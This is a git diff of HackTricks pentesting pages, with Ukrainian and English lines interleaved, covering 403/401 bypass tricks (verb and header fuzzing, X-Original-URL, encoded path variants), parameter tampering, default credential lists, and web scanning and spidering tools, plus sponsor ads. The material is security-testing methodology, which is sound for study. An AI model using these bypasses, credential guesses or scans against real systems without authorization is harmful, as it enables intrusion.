**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## HTTP Verbs/Methods Fuzzing
Спробуйте використовувати **різні дієслова** для доступу до файлу: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* Перевірте заголовки відповіді, можливо, можна отримати деяку інформацію. Наприклад, **200 відповідь** на **HEAD** з `Content-Length: 55` означає, що **HEAD дієслово може отримати інформацію**. Але вам все ще потрібно знайти спосіб ексфільтрувати цю інформацію.
* Використання HTTP заголовка, такого як `X-HTTP-Method-Override: PUT`, може переписати використане дієслово.
* Використовуйте **`TRACE`** дієслово, і якщо вам дуже пощастить, можливо, у відповіді ви також зможете побачити **заголовки, додані проміжними проксі**, які можуть бути корисними.
* Check the response headers, maybe some information can be given. For example, a **200 response** to **HEAD** with `Content-Length: 55` means that the **HEAD verb can access the info**. But you still need to find a way to exfiltrate that info.
* Using a HTTP header like `X-HTTP-Method-Override: PUT` can overwrite the verb used.
* Use **`TRACE`** verb and if you are very lucky maybe in the response you can see also the **headers added by intermediate proxies** that might be useful.
## HTTP Headers Fuzzing
* **Змініть заголовок Host** на деяке довільне значення ([це спрацювало тут](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* Спробуйте [**використати інші User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) для доступу до ресурсу.
* **Fuzz HTTP Headers**: Спробуйте використовувати HTTP Proxy **Headers**, HTTP Authentication Basic та NTLM brute-force (тільки з кількома комбінаціями) та інші техніки. Для цього я створив інструмент [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* **Change Host header** to some arbitrary value ([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* Try to [**use other User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) to access the resource.
* **Fuzz HTTP Headers**: Try using HTTP Proxy **Headers**, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
@ -49,22 +51,22 @@
* `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost`
Якщо **шлях захищений**, ви можете спробувати обійти захист шляху, використовуючи ці інші заголовки:
If the **path is protected** you can try to bypass the path protection using these other headers:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* Якщо сторінка **за проксі**, можливо, саме проксі заважає вам отримати доступ до приватної інформації. Спробуйте зловживати [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **або** [**hop-by-hop заголовками**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* Fuzz [**спеціальні HTTP заголовки**](special-http-headers.md), шукаючи різні відповіді.
* **Fuzz спеціальні HTTP заголовки** під час fuzzing **HTTP Methods**.
* **Видаліть заголовок Host** і, можливо, ви зможете обійти захист.
* If the page is **behind a proxy**, maybe it's the proxy the one preventing you you to access the private information. Try abusing [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **or** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* Fuzz [**special HTTP headers**](special-http-headers.md) looking for different response.
* **Fuzz special HTTP headers** while fuzzing **HTTP Methods**.
* **Remove the Host header** and maybe you will be able to bypass the protection.
## Path **Fuzzing**
Якщо _/path_ заблоковано:
If _/path_ is blocked:
* Спробуйте використовувати _**/**_**%2e/path \_(якщо доступ заблоковано проксі, це може обійти захист). Спробуйте також**\_\*\* /%252e\*\*/path (подвійне кодування URL)
* Спробуйте **Unicode обхід**: _/**%ef%bc%8f**path_ (закодовані символи URL подібні до "/"), тому при повторному кодуванні це буде _//path_ і, можливо, ви вже обійшли перевірку назви _/path_
* **Інші обходи шляху**:
* Try using _**/**_**%2e/path \_(if the access is blocked by a proxy, this could bypass the protection). Try also**\_\*\* /%252e\*\*/path (double URL encode)
* Try **Unicode bypass**: _/**%ef%bc%8f**path_ (The URL encoded chars are like "/") so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check
* **Other path bypasses**:
* site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK
* site.com/secret/ > HTTP 200 OK
@ -75,11 +77,11 @@
* site.com/.;/secret > HTTP 200 OK
* site.com//;//secret > HTTP 200 OK
* site.com/secret.json > HTTP 200 OK (ruby)
* Використовуйте весь [**цей список**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) у наступних ситуаціях:
* Use all [**this list**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in the following situations:
* /FUZZsecret
* /FUZZ/secret
* /secretFUZZ
* **Інші API обходи:**
* **Other API bypasses:**
* /v3/users\_data/1234 --> 403 Forbidden
* /v1/users\_data/1234 --> 200 OK
* {“id”:111} --> 401 Unauthriozied
@ -91,30 +93,30 @@
## **Parameter Manipulation**
* Змініть **значення параметра**: З **`id=123` --> `id=124`**
* Додайте додаткові параметри до URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
* Видаліть параметри
* Переставте параметри
* Використовуйте спеціальні символи.
* Виконайте граничне тестування в параметрах — надайте значення, такі як _-234_ або _0_ або _99999999_ (просто кілька прикладів).
* Change **param value**: From **`id=123` --> `id=124`**
* Add additional parameters to the URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
* Remove the parameters
* Re-order parameters
* Use special characters.
* Perform boundary testing in the parameters — provide values like _-234_ or _0_ or _99999999_ (just some example values).
## **Protocol version**
Якщо використовується HTTP/1.1 **спробуйте використовувати 1.0** або навіть перевірте, чи **підтримує 2.0**.
If using HTTP/1.1 **try to use 1.0** or even test if it **supports 2.0**.
## **Інші обходи**
## **Other Bypasses**
* Отримайте **IP** або **CNAME** домену та спробуйте **зв'язатися з ним безпосередньо**.
* Спробуйте **навантажити сервер**, надсилаючи звичайні GET запити ([Це спрацювало для цього хлопця з Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **Змініть протокол**: з http на https, або з https на http
* Перейдіть на [**https://archive.org/web/**](https://archive.org/web/) і перевірте, чи був у минулому цей файл **всесвітньо доступний**.
* Get the **IP** or **CNAME** of the domain and try **contacting it directly**.
* Try to **stress the server** sending common GET requests ([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **Change the protocol**: from http to https, or for https to http
* Go to [**https://archive.org/web/**](https://archive.org/web/) and check if in the past that file was **worldwide accessible**.
## **Brute Force**
* **Вгадайте пароль**: протестуйте наступні загальні облікові дані. Чи знаєте ви щось про жертву? Або назву виклику CTF?
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Спробуйте базову, дайджестну та NTLM автентифікацію.
* **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Try basic, digest and NTLM auth.
{% code title="Загальні облікові дані" %}
{% code title="Common creds" %}
```
admin admin
admin password
@ -138,21 +140,23 @@ guest guest
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться трюками хакерів, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -15,15 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
{% embed url="https://www.stmcyber.com/careers" %}
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
## Basic Info
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Веб-сервіс є найпоширенішим та найширшим сервісом, і існує багато різних типів вразливостей.
## Основна інформація
Веб-сервіс є найпоширенішим і найширшим сервісом, і існує багато різних типів вразливостей.
**Порт за замовчуванням:** 80 (HTTP), 443(HTTPS)
```bash
@ -48,17 +50,17 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] Почніть з **ідентифікації** **технологій**, що використовуються веб-сервером. Шукайте **поради**, які слід пам'ятати під час решти тесту, якщо вам вдасться успішно ідентифікувати технологію.
* [ ] Чи є якісь **відомі вразливості** версії технології?
* [ ] Використовується якась **відомий технології**? Якісь **корисні трюки** для отримання додаткової інформації?
* [ ] Чи є якісь **спеціалізовані сканери** для запуску (наприклад, wpscan)?
* [ ] Використовується якась **відомий технології**? Якась **корисна порада** для отримання додаткової інформації?
* [ ] Чи є якийсь **спеціалізований сканер** для запуску (наприклад, wpscan)?
* [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось або чи знайдуть якусь цікаву інформацію.
* [ ] Почніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS).
* [ ] Почніть **павукоподібне** сканування веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
* [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід просканувати._
* [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід павукоподібно сканувати._
* [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки, шукаючи нові **файли** та **каталоги**.
* [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід брутфорсити._
* [ ] **Перевірка резервних копій**: перевірте, чи можете ви знайти **резервні копії** **виявлених файлів**, додаючи загальні розширення резервних копій.
* [ ] **Брутфорсинг параметрів**: спробуйте **знайти приховані параметри**.
* [ ] Як тільки ви **ідентифікували** всі можливі **кінцеві точки**, що приймають **введення користувача**, перевірте всі види **вразливостей**, пов'язаних з цим.
* [ ] Як тільки ви **ідентифікували** всі можливі **кінцеві точки**, що приймають **введення користувача**, перевірте на всі види **вразливостей**, пов'язаних з цим.
* [ ] [Слідуйте цьому контрольному списку](../../pentesting-web/web-vulnerabilities-methodology.md)
## Версія сервера (вразлива?)
@ -118,7 +120,7 @@ Search **for** [**вразливості веб-додатку** **версії*
* [**Electron Desktop (XSS до RCE)**](electron-desktop-apps/)
_Зверніть увагу, що **один і той же домен** може використовувати **різні технології** на різних **портах**, **папках** та **піддоменах**._\
Якщо веб-додаток використовує будь-яку відому **техніку/платформу, зазначену раніше**, або **будь-яку іншу**, не забудьте **пошукати в Інтернеті** нові трюки (і дайте мені знати!).
Якщо веб-додаток використовує будь-яку відому **технологію/платформу, зазначену раніше**, або **будь-яку іншу**, не забудьте **пошукати в Інтернеті** нові трюки (і дайте мені знати!).
### Огляд вихідного коду
@ -137,7 +139,7 @@ _Зверніть увагу, що **один і той же домен** мож
### Автоматичні сканери
#### Загального призначення автоматичні сканери
#### Загальні автоматичні сканери
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -181,9 +183,9 @@ joomlavs.rb #https://github.com/rastating/joomlavs
* /.well-known/
* Також перевірте коментарі на основних та вторинних сторінках.
**Примус помилок**
**Виклик помилок**
Веб-сервери можуть **несподівано реагувати**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або **розкрити чутливу інформацію**.
Веб-сервери можуть **поводитися несподівано**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або **розкрити чутливу інформацію**.
* Доступ до **фальшивих сторінок** на кшталт /whatever\_fake.php (.aspx,.html,.тощо)
* **Додайте "\[]", "]]" та "\[\["** у **значеннях cookie** та **значеннях параметрів**, щоб створити помилки
@ -199,10 +201,10 @@ joomlavs.rb #https://github.com/rastating/joomlavs
### **Вразливості SSL/TLS**
* Якщо додаток **не примушує користувача використовувати HTTPS** в жодній частині, то він **вразливий до MitM**
* Якщо додаток **надсилає чутливі дані (паролі) через HTTP**. Тоді це висока вразливість.
* Якщо додаток **не змушує користувача використовувати HTTPS** в жодній частині, то він **вразливий до MitM**
* Якщо додаток **надсилає чутливі дані (паролі) за допомогою HTTP**. Тоді це висока вразливість.
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) та використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки на **вразливості** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) та використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -218,20 +220,20 @@ Information about SSL/TLS vulnerabilities:
### Spidering
Запустіть якийсь **spider** всередині вебу. Мета spider - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів.
Запустіть якийсь **spider** всередині вебу. Мета spider'а - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнє джерело.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішніх джерелах (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнього джерела.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "соковиті файли".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Він також шукає в Archive.org.
* [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливостями рендерингу JS. Однак, здається, що він не підтримується, попередньо скомпільована версія стара, а поточний код не компілюється.
* [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливостями рендерингу JS. Однак, виглядає так, що він не підтримується, попередньо скомпільована версія стара, а поточний код не компілюється.
* [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішні постачальники (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Цей скрипт знайде URL з параметрами та виведе їх.
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливостями рендерингу JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, з можливостями beautify JS, здатний шукати нові шляхи в JS файлах. Також варто звернути увагу на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування кінцевих точок як з HTML джерела, так і з вбудованих javascript файлів. Корисно для шукачів помилок, червоних команд, інфосек ніндзя.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт python 2.7, що використовує Tornado та JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисно для легкого виявлення AJAX запитів. Здається, не підтримується.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт python 2.7, що використовує Tornado та JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисно для легкого виявлення AJAX запитів. Виглядає так, що не підтримується.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Дано файл (HTML), він витягне URL з нього, використовуючи хитрі регулярні вирази для знаходження та витягування відносних URL з непривабливих (мінімізованих) файлів.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, кілька інструментів): Збирає цікаву інформацію з JS файлів, використовуючи кілька інструментів.
* [**subjs**](https://github.com/lc/subjs) (go): Знайти JS файли.
@ -242,18 +244,18 @@ Information about SSL/TLS vulnerabilities:
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Це інструмент, що використовується для виявлення кінцевих точок для заданої цілі.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажуючи відповіді в wayback та шукаючи більше посилань).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулінг (навіть заповнюючи форми) та також знаходження чутливої інформації, використовуючи специфічні regex.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для професіоналів у сфері кібербезпеки.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для фахівців з кібербезпеки.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Це пакет Go та [інструмент командного рядка](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягування URL, шляхів, секретів та інших цікавих даних з вихідного коду JavaScript.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge - це просте **розширення Burp Suite** для **витягування параметрів та кінцевих точок** з запиту для створення користувацького словника для фуззингу та перерахунку.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge - це просте **розширення Burp Suite** для **витягування параметрів та кінцевих точок** з запиту для створення користувацького списку слів для фуззингу та перерахунку.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього.
* [**Crawley**](https://github.com/s0rg/crawley) (go): Друкує кожне посилання, яке може знайти.
### Brute Force directories and files
Почніть **brute-forcing** з кореневої папки та переконайтеся, що ви brute-force **всі** **каталоги, знайдені** за допомогою **цього методу** та всі каталоги, **виявлені** за допомогою **Spidering** (ви можете виконати цей brute-forcing **рекурсивно** та додати на початку використаного словника імена знайдених каталогів).\
Почніть **brute-forcing** з кореневої папки та переконайтеся, що ви brute-force **всі** **знайдені каталоги**, використовуючи **цей метод** та всі каталоги, **виявлені** за допомогою **Spidering** (ви можете виконати цей brute-forcing **рекурсивно** та додати на початку використаного списку слів назви знайдених каталогів).\
Інструменти:
* **Dirb** / **Dirbuster** - Включено в Kali, **старий** (і **повільний**) але функціональний. Дозволяє авто-підписані сертифікати та рекурсивний пошук. Занадто повільний у порівнянні з іншими варіантами.
* **Dirb** / **Dirbuster** - Включено в Kali, **старий** (і **повільний**), але функціональний. Дозволяє авто-підписані сертифікати та рекурсивний пошук. Занадто повільний у порівнянні з іншими варіантами.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Не дозволяє авто-підписані сертифікати, але** дозволяє рекурсивний пошук.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Дозволяє авто-підписані сертифікати, **не має** **рекурсивного** пошуку.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Швидкий, підтримує рекурсивний пошук.**
@ -261,8 +263,8 @@ Information about SSL/TLS vulnerabilities:
* [**ffuf** ](https://github.com/ffuf/ffuf)- Швидкий: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, а інструмент, який, given the list of found URLs, видалить "дубльовані" URL.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Розширення Burp для створення списку каталогів з історії burp різних сторінок.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дубльованими функціями (на основі js імпортів).
* [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для виявлення використовуваних технологій та вибору словників для використання.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дублікатами функціональностей (на основі js імпортів).
* [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для виявлення використовуваних технологій та вибору списків слів для використання.
**Рекомендовані словники:**
@ -290,7 +292,7 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знайти зламані посилання всередині HTML, які можуть бути схильні до захоплення.
* **Резервні копії файлів**: Після того, як ви знайшли всі файли, шукайте резервні копії всіх виконуваних файлів ("_.php_", "_.aspx_"...). Загальні варіації для назви резервної копії: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Ви також можете використовувати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Виявлення нових параметрів**: Ви можете використовувати інструменти, такі як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. Якщо зможете, спробуйте шукати** приховані параметри в кожному виконуваному веб-файлі.
* _Arjun всі стандартні словники:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Arjun всі стандартні списки слів:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
@ -298,11 +300,11 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
* Якщо ви граєте в **CTF**, "звичайний" трюк - це **сховати** **інформацію** всередині коментарів праворуч від **сторінки** (використовуючи **сотні** **пробілів**, щоб ви не бачили дані, якщо відкриєте вихідний код у браузері). Інша можливість - використовувати **кілька нових рядків** та **сховати інформацію** в коментарі внизу веб-сторінки.
* **API ключі**: Якщо ви **знайдете будь-який API ключ**, є посібник, який вказує, як використовувати API ключі різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
* Google API ключі: Якщо ви знайдете будь-який API ключ, що виглядає як **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, ви можете використовувати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), щоб перевірити, до яких API ключ може отримати доступ.
* **S3 Buckets**: Під час spidering перевірте, чи є якийсь **субдомен** або будь-яке **посилання**, пов'язане з якимось **S3 bucket**. У такому випадку, [**перевірте** **дозволи** кошика](buckets/).
* **S3 Buckets**: Під час spidering перевірте, чи є якийсь **субдомен** або будь-яке **посилання**, пов'язане з якимось **S3 bucket**. У такому випадку, [**перевірте** **дозволи** на bucket](buckets/).
### Special findings
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам потрібно **звернути увагу**.
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам слід **звернути увагу**.
**Цікаві файли**
@ -337,11 +339,11 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
**HTTP Redirect (CTF)**
Можливо **вставити вміст** всередину **Redirection**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає редирекцію), але щось може бути **сховане** там.
Можливо **вставити вміст** всередині **Redirection**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає перенаправлення), але щось може бути **сховане** там.
### Web Vulnerabilities Checking
Тепер, коли було виконано всебічне перерахування веб-додатку, час перевірити багато можливих вразливостей. Ви можете знайти контрольний список тут:
Тепер, коли було виконано всебічну нумерацію веб-додатку, настав час перевірити на багато можливих вразливостей. Ви можете знайти контрольний список тут:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -357,11 +359,13 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
Ви можете використовувати інструменти, такі як [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), щоб моніторити сторінки на предмет модифікацій, які можуть вставити вразливості.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** та хакнути незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
#### Get a hacker's perspective on your web apps, network, and cloud
{% embed url="https://www.stmcyber.com/careers" %}
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### HackTricks Automatic Commands
```

View file

@ -9,17 +9,21 @@
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
